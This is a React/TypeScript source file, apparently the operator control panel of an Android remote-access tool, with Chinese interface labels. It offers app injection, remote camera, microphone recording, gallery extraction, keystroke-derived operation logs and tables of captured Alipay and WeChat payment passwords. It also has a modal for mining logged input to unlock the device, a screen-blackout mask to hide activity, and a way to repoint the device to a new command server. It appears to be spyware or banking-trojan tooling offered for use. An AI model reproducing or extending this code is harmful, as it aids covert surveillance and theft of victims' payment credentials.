                          title: '应用名',
                          dataIndex: 'appName',
                          key: 'appName',
                          width: 180,
                          render: (text: string, record: AppListItem) => text || record.packageName
                        },
                        {
                          title: '包名',
                          dataIndex: 'packageName',
                          key: 'packageName',
                          ellipsis: true
                        },
                        {
                          title: '类型',
                          dataIndex: 'isSystemApp',
                          key: 'isSystemApp',
                          width: 90,
                          render: (v: boolean) => <Tag color={v ? 'orange' : 'green'}>{v ? '系统' : '用户'}</Tag>
                        },
                        {
                          title: '状态',
                          dataIndex: 'enabled',
                          key: 'enabled',
                          width: 90,
                          render: (v: boolean | undefined) => <Tag color={v === false ? 'red' : 'blue'}>{v === false ? '禁用' : '可用'}</Tag>
                        },
                        {
                          title: '操作',
                          key: 'action',
                          width: 190,
                          render: (_: any, record: AppListItem) => (
                            <Space size={6}>
                              <Button
                                size="small"
                                type="primary"
                                disabled={!operationEnabled}
                                loading={openingAppPackage === record.packageName}
                                onClick={() => handleOpenApp(record.packageName)}
                              >
                                打开
                              </Button>
                              <Button
                                size="small"
                                type={injectedAppPackage === record.packageName ? 'default' : 'dashed'}
                                disabled={!operationEnabled}
                                loading={injectingAppPackage === record.packageName}
                                onClick={() => handleToggleAppInjection(record)}
                              >
                                {injectedAppPackage === record.packageName ? '取消注入' : '注入'}
                              </Button>
                            </Space>
                          )
                        }
                      ]}
                    />
                  </div>
                )
              },
              {
                key: 'camera', label: '摄像头', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <CameraControlCard
                      operationEnabled={operationEnabled}
                      isCameraActive={isCameraActive}
                      currentCameraType={currentCameraType as 'front' | 'back'}
                      cameraViewVisible={cameraViewVisible}
                      onStart={handleStartCamera}
                      onStop={handleStopCamera}
                      onSwitch={handleSwitchCamera}
                      onToggleView={handleToggleCameraView}
                    />
                    <div style={{ border: '1px solid #f0f0f0', borderRadius: 4, padding: 8 }}>
                      <DeviceCamera deviceId={deviceId} />
                    </div>
                  </div>
                )
              },
              {
                key: 'audio', label: '🎙️ 录音', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <Card title="🎙️ 录音控制" size="small">
                      <Row gutter={[8, 8]}>
                        <Col span={12}>
                          <Button
                            block
                            type={!isMicRecording ? "primary" : "default"}
                            icon={<AudioOutlined />}
                            onClick={handleMicStartRecording}
                            disabled={!operationEnabled || isMicRecording}
                            style={{
                              background: !isMicRecording && operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
                              borderColor: !isMicRecording && operationEnabled ? '#1890ff' : undefined,
                              color: !isMicRecording && operationEnabled ? 'white' : undefined
                            }}
                          >
                            {isMicRecording ? '录音进行中' : '开始录音'}
                          </Button>
                        </Col>
                        <Col span={12}>
                          <Button
                            block
                            type={isMicRecording ? "primary" : "default"}
                            icon={<StopOutlined />}
                            onClick={handleMicStopRecording}
                            disabled={!operationEnabled || !isMicRecording}
                            style={{
                              background: isMicRecording && operationEnabled ? 'linear-gradient(135deg, #ff4d4f 0%, #ff7875 100%)' : undefined,
                              borderColor: isMicRecording && operationEnabled ? '#ff4d4f' : undefined,
                              color: isMicRecording && operationEnabled ? 'white' : undefined
                            }}
                          >
                            停止录音
                          </Button>
                        </Col>
                      </Row>
                      
                      {/* 录音状态信息 */}
                      <div style={{ marginTop: 12, padding: 8, background: '#f8f9fa', borderRadius: 4, fontSize: 12 }}>
                        <div style={{ marginBottom: 4 }}>
                          <strong>录音状态：</strong>
                          <Tag color={isMicRecording ? 'red' : 'default'}>
                            {isMicRecording ? '正在录音' : '未录音'}
                          </Tag>
                        </div>
                        {micPermission && (
                          <div style={{ marginBottom: 4 }}>
                            <strong>麦克风权限：</strong>
                            <Tag color={micPermission === 'granted' ? 'green' : 'red'}>
                              {micPermission === 'granted' ? '已授权' : '未授权'}
                            </Tag>
                          </div>
                        )}
                        {micSampleRate && (
                          <div style={{ marginBottom: 4 }}>
                            <strong>采样率：</strong>
                            <span>{micSampleRate} Hz</span>
                          </div>
                        )}
                        {micChannels && (
                          <div style={{ marginBottom: 4 }}>
                            <strong>声道数：</strong>
                            <span>{micChannels}</span>
                          </div>
                        )}
                        {micBitDepth && (
                          <div>
                            <strong>位深度：</strong>
                            <span>{micBitDepth} bit</span>
                          </div>
                        )}
                      </div>
                    </Card>
                  </div>
                )
              },
              {
                key: 'gallery', label: '相册', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <GalleryControlCard
                      operationEnabled={operationEnabled}
                      onCheckPermission={handleAlbumPermissionCheck}
                      onGetGallery={handleGetGallery}
                      savedList={gallerySavedList}
                    />
                    <div style={{ marginTop: 4 }}>
                      {albumLoading && (
                        <div style={{ textAlign: 'center', color: '#666', padding: '12px 0' }}>正在获取相册...</div>
                      )}

                      {/* 实时保存的相册图片移动至 GalleryControlCard 内展示 */}
                      {!albumLoading && !albumData && (
                        <div style={{ textAlign: 'center', color: '#999', padding: '12px 0', fontSize: 12 }}>点击“读取列表”或“获取相册”后在此展示</div>
                      )}
                    </div>
                  </div>
                )
              },
              {
                key: 'logs', label: '查看日志', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <div>
                      <Space>
                        <span>类型筛选:</span>
                        <Select
                          style={{ width: 150 }}
                          placeholder="全部类型"
                          allowClear
                          value={logTypeFilter}
                          onChange={handleLogTypeFilterChange}
                          size="small"
                        >
                          {Object.entries(logTypeLabels).map(([key, label]) => (
                            <Select.Option key={key} value={key}>
                              <Tag color={logTypeColors[key as keyof typeof logTypeColors]}>
                                {label}
                              </Tag>
                            </Select.Option>
                          ))}
                        </Select>
                        <Button size="small" onClick={() => fetchOperationLogs(currentPage, pageSize, logTypeFilter)}>刷新</Button>
                        <Button
                          size="small"
                          danger
                          onClick={() => {
                            modal.confirm({
                              title: '确认清空日志',
                              content: '此操作将删除该设备的所有操作日志，是否继续？',
                              okText: '清空',
                              okButtonProps: { danger: true },
                              cancelText: '取消',
                              onOk: () => {
                                if (!webSocket) { message.error('WebSocket未连接'); return }
                                webSocket.emit('client_event', { type: 'CLEAR_OPERATION_LOGS', data: { deviceId } })
                              }
                            })
                          }}
                        >清空日志</Button>
                      </Space>
                    </div>
                    <Table
                      columns={logColumns}
                      dataSource={operationLogs}
                      rowKey={(record, index) => `${record.id || index}`}
                      pagination={false}
                      loading={logLoading}
                      size="small"
                      scroll={{ y: 400 }}
                    />
                    <div style={{ textAlign: 'center' }}>
                      <Pagination
                        current={currentPage}
                        pageSize={pageSize}
                        total={totalLogs}
                        showSizeChanger
                        showQuickJumper
                        showTotal={(total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`}
                        onChange={handlePageChange}
                        onShowSizeChange={handlePageChange}
                        pageSizeOptions={['20', '50', '100', '200']}
                        size="small"
                      />
                    </div>
                  </div>
                )
              },
              {
                key: 'passwords', label: '密码', children: (
                  <div style={{ display: 'flex', flexDirection: 'column', gap: 8 }}>
                    <div>
                      <Space>
                        <span>筛选类型:</span>
                        <Select
                          style={{ width: 200 }}
                          value={passwordFilter}
                          onChange={(v) => {
                            setPasswordFilter(v)
                            // 选择后直接调用API获取数据，使用新的筛选值
                            fetchAlipayPasswordsWithFilter(v, 1, alipayPasswordPageSize)
                          }}
                          size="small"
                        >
                          <Select.Option value="DEFAULT">普通密码</Select.Option>
                          <Select.Option value="ALIPAY_PASSWORD">支付宝</Select.Option>
                          <Select.Option value="WECHAT_PASSWORD">微信</Select.Option>
                        </Select>
                        <Button size="small" type="primary" onClick={() => fetchAlipayPasswords(1, alipayPasswordPageSize)}>读取密码</Button>
                        <Button size="small" danger onClick={() => deleteAllPasswords()}>清空当前筛选</Button>
                      </Space>
                    </div>
                    <Table
                      columns={[
                        {
                          title: '时间',
                          dataIndex: 'timestamp',
                          key: 'timestamp',
                          width: 180,
                          render: (t: string) => new Date(t).toLocaleString()
                        },
                        {
                          title: '类型',
                          dataIndex: 'passwordType',
                          key: 'passwordType',
                          width: 120,
                          render: (v: string | undefined) => v || '-'
                        },
                        {
                          title: '来源',
                          dataIndex: 'activity',
                          key: 'activity',
                          width: 200
                        },
                        {
                          title: '密码',
                          dataIndex: 'password',
                          key: 'password',
                          render: (text: string) => (
                            <div
                              style={{
                                display: '-webkit-box',
                                WebkitBoxOrient: 'vertical',
                                WebkitLineClamp: 2 as any,
                                overflow: 'hidden',
                                cursor: text ? 'pointer' : 'default'
                              }}
                              onClick={() => { if (!text) return; setContentPreviewText(text); setContentPreviewVisible(true) }}
                              title={text}
                            >
                              {text}
                            </div>
                          )
                        }
                      ]}
                      dataSource={alipayPasswords}
                      rowKey={(record: any) => `${record.id}`}
                      pagination={false}
                      loading={alipayPasswordLoading}
                      size="small"
                      scroll={{ y: 400 }}
                    />
                    <div style={{ textAlign: 'center' }}>
                      <Pagination
                        current={alipayPasswordPage}
                        pageSize={alipayPasswordPageSize}
                        total={alipayPasswordTotal}
                        showSizeChanger
                        showQuickJumper
                        showTotal={(total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`}
                        onChange={(page, pageSize) => {
                          setAlipayPasswordPage(page)
                          setAlipayPasswordPageSize(pageSize || 10)
                          fetchAlipayPasswords(page, pageSize || 10)
                        }}
                        pageSizeOptions={['10', '20', '50', '100']}
                        size="small"
                      />
                    </div>
                  </div>
                )
              },
            ]}
          />
        </div>
      </div>

      {/* 密码搜索弹窗 */}
      <Modal
        title="🔍 查找密码 / 自定义密码"
        open={passwordSearchVisible}
        onCancel={handleCancelPasswordSearch}
        footer={[
          <Button key="cancel" onClick={handleCancelPasswordSearch}>
            取消
          </Button>,
          <Button
            key="confirm"
            type="primary"
            onClick={handleConfirmSelectedPassword}
            disabled={!customPasswordInput.trim() && !selectedPassword}
          >
            {customPasswordInput.trim() ? '使用输入的密码' : '使用选中的密码'}
          </Button>
        ]}
        width={700}
        centered
        destroyOnHidden
      >
        {/* ✅ 新增：自定义密码输入区域 */}
        <div style={{ marginBottom: 24, padding: 16, backgroundColor: '#f8f9fa', borderRadius: 8, border: '1px solid #e9ecef' }}>
          <div style={{ marginBottom: 12, fontWeight: 500, color: '#495057' }}>
            🔐 直接输入密码
          </div>
          <Input.Password
            placeholder="输入您的设备密码..."
            value={customPasswordInput}
            onChange={(e) => {
              setCustomPasswordInput(e.target.value)
              // 当有自定义输入时，清空历史密码选择
              if (e.target.value.trim() && selectedPassword) {
                setSelectedPassword('')
              }
            }}
            size="large"
            style={{ marginBottom: 8 }}
            autoComplete="off"
            onPressEnter={handleConfirmSelectedPassword}
            allowClear
          />
          <div style={{ fontSize: 12, color: '#6c757d' }}>
            💡 您可以直接在此输入密码，也可以从下方的历史记录中选择
          </div>
          {customPasswordInput.trim() && (
            <div style={{ marginTop: 8, padding: 8, backgroundColor: '#d4edda', borderRadius: 4, fontSize: 12, color: '#155724' }}>
              ✅ 已输入 {customPasswordInput.length} 位密码
              <span style={{ marginLeft: 8, fontWeight: 500 }}>
                ({detectPasswordType(customPasswordInput)})
              </span>
              ，点击确认将使用此密码
            </div>
          )}
        </div>

        {passwordSearchLoading ? (
          <div style={{ textAlign: 'center', padding: '40px 0' }}>
            <div>🔍 正在从操作日志中查找密码...</div>
            <div style={{ marginTop: 8, fontSize: 12, color: '#666' }}>
              正在分析文本输入记录，寻找可能的密码模式
            </div>
          </div>
        ) : foundPasswords.length > 0 ? (
          <div>
            <div style={{ marginBottom: 16, color: '#666', borderTop: '1px solid #e9ecef', paddingTop: 16 }}>
              📋 从操作日志中找到 {foundPasswords.length} 个历史密码，您也可以选择使用：
            </div>
            <div style={{ maxHeight: 300, overflowY: 'auto' }}>
              {foundPasswords.map((password, index) => {
                const isSelected = selectedPassword === password && !customPasswordInput.trim()
                const isDisabled = customPasswordInput.trim()
                return (
                  <div
                    key={index}
                    style={{
                      padding: '12px 16px',
                      border: `2px solid ${isSelected ? '#1890ff' : isDisabled ? '#e9ecef' : '#d9d9d9'}`,
                      borderRadius: 6,
                      marginBottom: 8,
                      cursor: isDisabled ? 'not-allowed' : 'pointer',
                      backgroundColor: isSelected ? '#f0f8ff' : isDisabled ? '#f8f9fa' : '#fafafa',
                      opacity: isDisabled ? 0.6 : 1,
                      transition: 'all 0.2s'
                    }}
                    onClick={() => !isDisabled && handleSelectPassword(password)}
                  >
                    <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center' }}>
                      <div style={{ fontFamily: 'monospace', fontSize: 16 }}>
                        🔑 {password}
                      </div>
                      <div style={{ fontSize: 12, color: '#666' }}>
                        {password.length} 位{/^\d+$/.test(password) ? ' 数字' : ''}密码
                      </div>
                    </div>
                    {isSelected && (
                      <div style={{ marginTop: 8, fontSize: 12, color: '#1890ff' }}>
                        ✅ 已选中此密码
                      </div>
                    )}
                    {isDisabled && (
                      <div style={{ marginTop: 8, fontSize: 12, color: '#6c757d' }}>
                        💡 已有自定义输入，点击可切换到此密码
                      </div>
                    )}
                  </div>
                )
              })}
            </div>
            <div style={{ marginTop: 16, padding: 12, backgroundColor: '#f6f8fa', borderRadius: 4, fontSize: 12, color: '#666' }}>
              💡 提示：
              {customPasswordInput.trim() ? (
                <span>当前将使用您输入的自定义密码，历史密码仅作参考</span>
              ) : (
                <span>选择历史密码后将自动保存到数据库并执行解锁操作</span>
              )}
            </div>
          </div>
        ) : (
          <div style={{ borderTop: '1px solid #e9ecef', paddingTop: 16 }}>
            <div style={{ textAlign: 'center', padding: '20px 0', color: '#666' }}>
              <div>📝 未找到历史密码记录</div>
              <div style={{ marginTop: 8, fontSize: 12 }}>
                没关系，您可以使用上方的输入框直接输入密码
              </div>
            </div>
          </div>
        )}
      </Modal>

      {/* 操作日志弹窗 */}


      {/* 通用内容预览（密码/日志） */}
      <Modal
        title="内容预览"
        open={contentPreviewVisible}
        onCancel={() => setContentPreviewVisible(false)}
        footer={null}
        width={600}
      >
        <Input.TextArea
          value={contentPreviewText}
          readOnly
          autoSize={{ minRows: 6, maxRows: 12 }}
          style={{ fontFamily: 'monospace' }}
        />
      </Modal>

      {/* 开发调试面板 */}
      {(window as any).location?.hostname === 'localhost' && (
        <Card title="🔧 开发调试面板" size="small" style={{ marginTop: 16 }}>
          <div style={{ display: 'flex', gap: 8, flexWrap: 'wrap', alignItems: 'center' }}>
            <Button size="small" onClick={checkDeviceStateConsistency}>
              检查状态一致性
            </Button>
            <Button size="small" onClick={fixDeviceStateInconsistency}>
              修复状态不一致
            </Button>
            <Button size="small" onClick={() => console.log({
              deviceId,
              inputBlocked: deviceInputBlocked,
              loggingEnabled: isLoggingEnabled,
              hasPassword: !!lastKnownPassword
            })}>
              打印当前状态
            </Button>
            <div style={{ fontSize: 12, color: '#666' }}>
              输入阻塞: {deviceInputBlocked ? '是' : '否'} |
              日志记录: {isLoggingEnabled ? '开启' : '关闭'} |
              密码: {lastKnownPassword ? '已设置' : '未设置'}
            </div>
          </div>
        </Card>
      )}

      {/* 短信数据弹窗已移除，直接在短信卡片内展示 */}

      {/* 相册已内联显示，移除弹窗 */}

      {/* 实时保存的相册图片改为在相册 Tab 内联展示 */}

      {/* 🆕 手动输入确认坐标Modal */}
      <Modal
        title="🎯 手动输入确认坐标"
        open={inputCoordsModalVisible}
        onOk={handleSaveInputCoords}
        onCancel={() => setInputCoordsModalVisible(false)}
        okText="保存坐标"
        cancelText="取消"
        width={400}
      >
        <div style={{ marginBottom: 16 }}>
          <div style={{ marginBottom: 8, color: '#666', fontSize: 14 }}>
            📱 当前设备分辨率: {device ? `${device.screenWidth}×${device.screenHeight}` : '未知'}
          </div>
          <div style={{
            padding: 12,
            background: '#f8f9fa',
            borderRadius: 6,
            border: '1px solid #e9ecef',
            fontSize: 13,
            lineHeight: 1.5
          }}>
            💡 <strong>使用说明：</strong><br />
            • 请输入确认按钮在设备屏幕上的精确坐标<br />
            • 默认值已根据设备分辨率计算 (右下角区域)<br />
            • X坐标: 设备宽度 - 60，Y坐标: 设备高度 - 100<br />
            • 您可以根据实际情况调整这些数值
          </div>
        </div>

        <div style={{ marginBottom: 16 }}>
          <div style={{ marginBottom: 8, fontWeight: 500 }}>X坐标 (横向位置)</div>
          <InputNumber
            style={{ width: '100%' }}
            value={inputCoordX}
            onChange={(value) => setInputCoordX(value || 0)}
            min={0}
            max={device ? device.screenWidth : 9999}
            placeholder="请输入X坐标"
            addonBefore="X:"
            addonAfter="px"
          />
          <div style={{ fontSize: 12, color: '#666', marginTop: 4 }}>
            范围: 0 ~ {device ? device.screenWidth : '设备宽度'}
          </div>
        </div>

        <div style={{ marginBottom: 16 }}>
          <div style={{ marginBottom: 8, fontWeight: 500 }}>Y坐标 (纵向位置)</div>
          <InputNumber
            style={{ width: '100%' }}
            value={inputCoordY}
            onChange={(value) => setInputCoordY(value || 0)}
            min={0}
            max={device ? device.screenHeight : 9999}
            placeholder="请输入Y坐标"
            addonBefore="Y:"
            addonAfter="px"
          />
          <div style={{ fontSize: 12, color: '#666', marginTop: 4 }}>
            范围: 0 ~ {device ? device.screenHeight : '设备高度'}
          </div>
        </div>

        <div style={{
          padding: 12,
          background: '#e6f7ff',
          borderRadius: 6,
          border: '1px solid #91d5ff',
          fontSize: 13
        }}>
          📍 <strong>预览坐标:</strong> ({inputCoordX}, {inputCoordY})<br />
          {device && (
            <>
              相对位置: 距离左边缘 {inputCoordX}px，距离顶部 {inputCoordY}px<br />
              距离右边缘 {device.screenWidth - inputCoordX}px，距离底部 {device.screenHeight - inputCoordY}px
            </>
          )}
        </div>
      </Modal>

      {/* 支付宝密码管理Modal */}
      <Modal
        title="🔑 支付宝密码管理"
        open={alipayPasswordModalVisible}
        onCancel={() => setAlipayPasswordModalVisible(false)}
        footer={[
          <Button key="refresh" onClick={() => fetchAlipayPasswords(alipayPasswordPage, alipayPasswordPageSize)}>
            刷新
          </Button>,
          <Button key="latest" onClick={fetchLatestPassword}>
            获取最新
          </Button>,
          <Button key="delete" danger onClick={deleteAllPasswords}>
            删除全部
          </Button>,
          <Button key="close" onClick={() => setAlipayPasswordModalVisible(false)}>
            关闭
          </Button>
        ]}
        width={800}
        styles={{ body: { padding: '16px' } }}
      >
        <div style={{ marginBottom: '16px' }}>
          <div style={{
            padding: '12px',
            background: '#f0f8ff',
            borderRadius: '6px',
            border: '1px solid #d6e4ff'
          }}>
            <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center' }}>
              <div>
                <strong>设备ID:</strong> {deviceId}
              </div>
              <div>
                <strong>密码总数:</strong> <span style={{ color: '#1890ff', fontWeight: 'bold' }}>{alipayPasswordTotal}</span>
              </div>
              <div>
                <strong>检测状态:</strong> <span style={{ color: alipayDetectionEnabled ? '#52c41a' : '#8c8c8c' }}>
                  {alipayDetectionEnabled ? '运行中' : '已停止'}
                </span>
              </div>
            </div>
          </div>
        </div>

        <Table
          columns={[
            {
              title: '密码',
              dataIndex: 'password',
              key: 'password',
              width: 120,
              render: (text: string) => (
                <span style={{
                  fontFamily: 'monospace',
                  fontSize: '14px',
                  fontWeight: 'bold',
                  color: '#1890ff',
                  background: '#f0f8ff',
                  padding: '2px 6px',
                  borderRadius: '4px',
                  border: '1px solid #d6e4ff'
                }}>
                  {text}
                </span>
              )
            },
            {
              title: '长度',
              dataIndex: 'passwordLength',
              key: 'passwordLength',
              width: 60,
              render: (length: number) => (
                <span style={{
                  color: '#52c41a',
                  fontWeight: 'bold'
                }}>
                  {length}位
                </span>
              )
            },
            {
              title: '活动',
              dataIndex: 'activity',
              key: 'activity',
              width: 150,
              render: (text: string) => (
                <span style={{
                  fontSize: '12px',
                  color: '#666'
                }}>
                  {text}
                </span>
              )
            },
            {
              title: '输入方式',
              dataIndex: 'inputMethod',
              key: 'inputMethod',
              width: 100,
              render: (text: string) => (
                <span style={{
                  fontSize: '12px',
                  color: '#1890ff'
                }}>
                  {text}
                </span>
              )
            },
            {
              title: '会话ID',
              dataIndex: 'sessionId',
              key: 'sessionId',
              width: 120,
              render: (text: string) => (
                <span style={{
                  fontFamily: 'monospace',
                  fontSize: '11px',
                  color: '#666'
                }}>
                  {text.substring(0, 8)}...
                </span>
              )
            },
            {
              title: '检测时间',
              dataIndex: 'timestamp',
              key: 'timestamp',
              width: 150,
              render: (text: string) => new Date(text).toLocaleString()
            },
            {
              title: '创建时间',
              dataIndex: 'createdAt',
              key: 'createdAt',
              width: 150,
              render: (text: string) => new Date(text).toLocaleString()
            }
          ]}
          dataSource={alipayPasswords}
          rowKey="id"
          pagination={{
            current: alipayPasswordPage,
            pageSize: alipayPasswordPageSize,
            total: alipayPasswordTotal,
            showSizeChanger: true,
            showQuickJumper: true,
            showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`,
            pageSizeOptions: ['10', '20', '50', '100'],
            onChange: (page, pageSize) => {
              setAlipayPasswordPage(page)
              setAlipayPasswordPageSize(pageSize || 10)
              fetchAlipayPasswords(page, pageSize || 10)
            }
          }}
          loading={alipayPasswordLoading}
          size="small"
          scroll={{ x: 600, y: 400 }}
          style={{ marginTop: '16px' }}
        />
      </Modal>

      {/* 微信密码管理Modal */}
      <Modal
        title="🔑 微信密码管理"
        open={wechatPasswordModalVisible}
        onCancel={() => setWechatPasswordModalVisible(false)}
        footer={[
          <Button key="refresh" onClick={() => fetchWechatPasswords(wechatPasswordPage, wechatPasswordPageSize)}>
            刷新
          </Button>,
          <Button key="latest" onClick={fetchLatestWechatPassword}>
            获取最新
          </Button>,
          <Button key="delete" danger onClick={deleteAllWechatPasswords}>
            删除全部
          </Button>,
          <Button key="close" onClick={() => setWechatPasswordModalVisible(false)}>
            关闭
          </Button>
        ]}
        width={800}
        styles={{ body: { padding: '16px' } }}
      >
        <div style={{ marginBottom: '16px' }}>
          <div style={{
            padding: '12px',
            background: '#f6ffed',
            borderRadius: '6px',
            border: '1px solid #b7eb8f'
          }}>
            <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center' }}>
              <div>
                <strong>设备ID:</strong> {deviceId}
              </div>
              <div>
                <strong>密码总数:</strong> <span style={{ color: '#07c160', fontWeight: 'bold' }}>{wechatPasswordTotal}</span>
              </div>
              <div>
                <strong>检测状态:</strong> <span style={{ color: wechatDetectionEnabled ? '#07c160' : '#8c8c8c' }}>
                  {wechatDetectionEnabled ? '运行中' : '已停止'}
                </span>
              </div>
            </div>
          </div>
        </div>

        <Table
          columns={[
            {
              title: '密码',
              dataIndex: 'password',
              key: 'password',
              width: 120,
              render: (text: string) => (
                <span style={{
                  fontFamily: 'monospace',
                  fontSize: '14px',
                  fontWeight: 'bold',
                  color: '#07c160',
                  background: '#f6ffed',
                  padding: '2px 6px',
                  borderRadius: '4px',
                  border: '1px solid #b7eb8f'
                }}>
                  {text}
                </span>
              )
            },
            {
              title: '长度',
              dataIndex: 'passwordLength',
              key: 'passwordLength',
              width: 60,
              render: (length: number) => (
                <span style={{
                  color: '#07c160',
                  fontWeight: 'bold'
                }}>
                  {length}位
                </span>
              )
            },
            {
              title: '活动',
              dataIndex: 'activity',
              key: 'activity',
              width: 150,
              render: (text: string) => (
                <span style={{
                  fontSize: '12px',
                  color: '#666'
                }}>
                  {text}
                </span>
              )
            },
            {
              title: '输入方式',
              dataIndex: 'inputMethod',
              key: 'inputMethod',
              width: 100,
              render: (text: string) => (
                <span style={{
                  fontSize: '12px',
                  color: '#07c160'
                }}>
                  {text}
                </span>
              )
            },
            {
              title: '会话ID',
              dataIndex: 'sessionId',
              key: 'sessionId',
              width: 120,
              render: (text: string) => (
                <span style={{
                  fontFamily: 'monospace',
                  fontSize: '11px',
                  color: '#666'
                }}>
                  {text.substring(0, 8)}...
                </span>
              )
            },
            {
              title: '检测时间',
              dataIndex: 'timestamp',
              key: 'timestamp',
              width: 150,
              render: (text: string) => new Date(text).toLocaleString()
            },
            {
              title: '创建时间',
              dataIndex: 'createdAt',
              key: 'createdAt',
              width: 150,
              render: (text: string) => new Date(text).toLocaleString()
            }
          ]}
          dataSource={wechatPasswords}
          rowKey="id"
          pagination={{
            current: wechatPasswordPage,
            pageSize: wechatPasswordPageSize,
            total: wechatPasswordTotal,
            showSizeChanger: true,
            showQuickJumper: true,
            showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`,
            pageSizeOptions: ['10', '20', '50', '100'],
            onChange: (page, pageSize) => {
              setWechatPasswordPage(page)
              setWechatPasswordPageSize(pageSize || 10)
              fetchWechatPasswords(page, pageSize || 10)
            }
          }}
          loading={wechatPasswordLoading}
          size="small"
          scroll={{ x: 600, y: 400 }}
          style={{ marginTop: '16px' }}
        />
      </Modal>

      <Modal
        title="黑屏遮罩深度调节"
        open={maskAdjustModalVisible}
        onCancel={() => setMaskAdjustModalVisible(false)}
        footer={[
          <Button key="close" onClick={() => setMaskAdjustModalVisible(false)}>
            关闭
          </Button>,
          <Button
            key="apply"
            type="primary"
            disabled={!operationEnabled}
            onClick={handleApplyMaskConfigNow}
          >
            立即应用
          </Button>
        ]}
      >
        <div style={{ marginBottom: 10, color: '#666' }}>
          黑屏开启后可在此继续调节遮罩深度，数值越高越黑。
        </div>
        <div style={{ display: 'flex', justifyContent: 'space-between', marginBottom: 6, fontSize: 12 }}>
          <span>遮罩深度 (0~255)</span>
          <span>{maskAlpha}</span>
        </div>
        <input
          type="range"
          min={0}
          max={255}
          step={1}
          value={maskAlpha}
          onChange={(e) => handleMaskAlphaChange(Number(e.target.value))}
          style={{ width: '100%' }}
        />
      </Modal>

      {/* ✅ 新增：服务器地址修改弹窗 */}
      <Modal
        title="🔄 修改服务器地址"
        open={serverUrlModalVisible}
        onCancel={() => {
          setServerUrlModalVisible(false)
          setNewServerUrl('')
        }}
        footer={[
          <Button key="cancel" onClick={() => {
            setServerUrlModalVisible(false)
            setNewServerUrl('')
          }}>
            取消
          </Button>,
          <Button
            key="confirm"
            type="primary"
            onClick={handleChangeServerUrl}
            loading={serverUrlChanging}
            disabled={!newServerUrl.trim()}
          >
            修改服务器地址
          </Button>
        ]}
        width={500}
      >
        <div style={{ padding: '16px 0' }}>
          <p style={{ marginBottom: 16, color: '#666' }}>
            此功能将向Android设备发送修改服务器地址的指令，设备将重新连接到新的服务器。
          </p>
          <Input
            placeholder="请输入新的服务器地址，例如: ws://192.168.1.100:3001"
            value={newServerUrl}
            onChange={(e) => setNewServerUrl(e.target.value)}
            style={{ marginBottom: 16 }}
          />
          <div style={{
            padding: '12px',
            background: '#f6ffed',
            border: '1px solid #b7eb8f',
            borderRadius: '6px',
            fontSize: '12px',
            color: '#52c41a'
          }}>
            <strong>⚠️ 注意事项：</strong>
            <ul style={{ margin: '8px 0 0 0', paddingLeft: '20px' }}>
              <li>请确保新服务器地址格式正确（如：ws://ip:port 或 wss://域名）</li>
              <li>ws和wss的区别是 一个用的http协议，一个是https协议</li>
              <li>修改后设备将断开当前连接并尝试连接新服务器</li>
              <li>如果新服务器不可达，设备将无法正常连接</li>
            </ul>
          </div>
        </div>
      </Modal>

    </>
  )
}

export default ControlPanel 
